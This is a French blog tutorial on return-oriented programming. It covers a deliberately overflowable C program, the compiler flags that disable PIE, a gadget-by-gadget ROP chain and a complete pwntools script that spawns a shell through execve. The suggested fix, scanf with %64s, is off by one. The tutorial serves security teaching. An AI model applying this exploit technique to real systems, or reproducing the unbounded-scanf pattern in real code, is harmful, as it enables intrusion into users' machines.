face
⯇ back

Bypass ASLR&NX – Return Oriented programming

Category : Binary Exploitation
7 min read
on Aug. 15, 2018, noon

Nous allons continuer notre série d'article sur l'exploitation de binaire par la pratique. Dans l'article précèdent nous avons utilisé la ret2libc pour contrer la protection NX qui rend la stack non exécutable. Aujourd'hui nous allons non seulement exploiter un binaire 64bits contrairement aux fois précédentes, mais aussi laisser la protection ASLR qui rend les adresses aléatoire activée. Mais comme nous désactiverons l'option PIE les adresses du code seront fixe.

Tout d'abord le changement est qu'avec un binaire 64 bits nous ne pourrons pas faire la technique classique de ret2libc car cette fois les arguments passés à la fonction le sont à travers les registres et non sur la stack. De plus, nous laisserons l'ASLR activé sur notre machine, il n'aurait donc pas été possible d'utiliser la technique de ret2libc car nous ne pouvons pas connaître l'adresse de system ( qui changera a chaque exécution ). Pour contourner les protections que nous avons laissé activées nous allons utiliser la technique de Return Oriented Programming, dites "ROP". Pour contourner les deux protections NX ( stack non exécutable ) et ALSR, il nous faut donc exécuter du code qui ne se trouve pas dans la pile car celle ci n'est pas exécutable et utiliser des adresse qui ne sont pas aléatoires. Nous allons donc utiliser le code du programme en lui même, en récupérant l'adresse de "gadget", c'est a dire de "morceau de code" que nous enchaînerons les uns avec les autres pour faire en sorte que le programme exécute les actions voulues. Un gadget est un bout de la code contenant des instructions suivies par une instruction RET. Lorsque nous écrasons l'adresse qui sera dans RIP (équivalent du eip mais en 64bits) nous redirigeons l’exécution sur le premier gadget : par exemple "xor rax,rax; ret". Une fois le xor effectué le programme passera a l'instruction RET qui est l’équivalent d'un "pop rip", ce "pop rip" va prendre la prochaine valeur sur la stack (qui sera donc l'adresse que nous avons mis après l'adresse du premier gadget) et redirigera l’exécution vers cette adresse, le code du deuxième gadget sera donc exécuté après le premier, et ainsi de suite jusqu'à enchaîner assez de gadgets pour recréer un code similaire à un shellcode pour par exemple exécuter un shell.

Passons à la pratique !

Maintenant que vous savez mieux ce qu'est le ROP, nous allons passer à la pratique. Nous allons exploiter ce binaire :


#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[])
{
char buffer[64];
printf("Entrer un message: ");
scanf("%s",buffer);
printf("buffer: %s\n",buffer);
return 0;
}

  Pour compiler ce binaire nous allons utiliser la commande suivante : gcc vuln.c -o vuln -no-pie -static le -no-pie empêche les adresses du code d’être aléatoires, seules les adresses des bibliothèques, de la stack et du heap seront soumis à l'ASLR et nous utilisons -static pour que notre binaire soit plus gros car il contient très peu de code source. Un vrai programme serait assez gros pour contenir assez de code permettant de faire du ROP et nous n'aurions pas besoin d'inclure statiquement la libc. Si vous voulez avoir les même adresse que moi et ne pas avoir a chercher les gadgets vous même,voici la version que j'ai utilisé pour faire cette article : binaire (md5 : cd6c41510519efba2c60d6c36cf94987 ). Ce binaire est vulnérable a un buffer overflow sur la fonction scanf celle ci devrait être scanf("%64s",buffer);  pour limiter le nombre de caractère envoyés au buffer. Tout d'abord nous allons faire comme d'habitude, lancer le binaire sous gdb, lui envoyer un pattern ( crée à l'aide de "pattern create 100" sous gdb-peda ) et l'envoyer dans le buffer... A l'aide de "pattern offset" nous trouvons que l'adresse de retour est écrasée à 72 caractères. Il nous suffira donc d'envoyer 72 caractères "A" suivi de notre "ropchain". Pour retrouver des gadgets a utiliser dans notre "ropchain" nous pouvons utiliser ROPGadget  ou ropper Notre "ropchain" consistera a lancer le binaire /bin/sh pour obtenir un shell. Nous ferons ça comme si nous programmions le shellcode en assembleur, nous devons donc appeler l'instruction syscall avec RAX a 59 pour le syscall execve, l'adresse de la chaîne /bin/sh dans RDI ainsi que deux chaînes NULL dans RSI et RDX (vous pouvez le vérifier ici : http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ ). Nous allons donc écrire la chaîne de caractère /bin/sh a une adresse connue, celle de la section data par exemple : la ropchain suivante :


# Tout d'abord nous mettons l'adresse de data dans rsi
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e0) # @ .data
# ensuite nous mettons la chaine //bin/sh dans RAX
payload += p64(0x43613c) # pop rax ; ret
payload += '//bin/sh'
# enfin nous écrivons le contenu de RAX dans à l'adresse contenue dans RSI
payload += p64(0x46c061) # mov qword ptr [rsi], rax ; ret
# ensuite nous mettons NULL a l'adresse data+8 car "//bin/sh" fait 8 caractères
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e8) # @ .data + 8
payload += p64(0x431580) # xor rax, rax ; ret
# nous utilisons la même méthode que pour mettre la chaîne //bin/sh
payload += p64(0x46c061) # mov qword ptr [rsi], rax ; ret

  Il nous reste plus qu'a mettre les bonnes valeurs dans les registres


 


# l'adresse de data contenant la chaîne /bin/sh dans RDI
payload += p64(0x400676) # pop rdi ; ret
payload += p64(0x6b40e0) # @ .data
# l'adresse de data+8 contenant le NULL qui termine la chaîne /bin/sh dans RSI
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e8) # @ .data + 8
# La même chose dans RDX
payload += p64(0x437f05) # pop rdx ; ret
payload += p64(0x6b40e8) # @ .data + 8
# Et la valeur 59 dans le registre EAX pour le syscall sys_execve
payload += p64(0x43613c) # pop rax ; ret
payload += p64(59) # 59 = execve

Maintenant nous allons utiliser un gadget appelant syscall : payload += p64(0x462975) # syscall ; ret Il nous reste plus qu'a envoyer le padding de 72 caractères puis la ropchain pour récupérer un shell. Voici le code complet de l'exploit :


#!/usr/bin/env python
# coding:utf-8
from pwn import *

p = process('./vuln')

payload = 'A'*72 # padding pour écraser l'adresse de retour

payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e0) # @ .data
payload += p64(0x43613c) # pop rax ; ret
payload += '//bin/sh'
payload += p64(0x46c061) # mov qword ptr [rsi], rax ; ret
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e8) # @ .data + 8
payload += p64(0x431580) # xor rax, rax ; ret
payload += p64(0x46c061) # mov qword ptr [rsi], rax ; ret
payload += p64(0x400676) # pop rdi ; ret
payload += p64(0x6b40e0) # @ .data
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e8) # @ .data + 8
payload += p64(0x437f05) # pop rdx ; ret
payload += p64(0x6b40e8) # @ .data + 8
payload += p64(0x43613c) # pop rax ; ret
payload += p64(59) # 59 = execve
payload += p64(0x462975) # syscall ; ret

p.sendline(payload)
p.interactive()

Nous lançons l'exploit et nous avons un shell ! J’espère que cet article vous aura plus, n’hésitez pas à commenter ou me contacter si vous avez des questions, idées d'article ou autre , merci !  


Comment:

captcha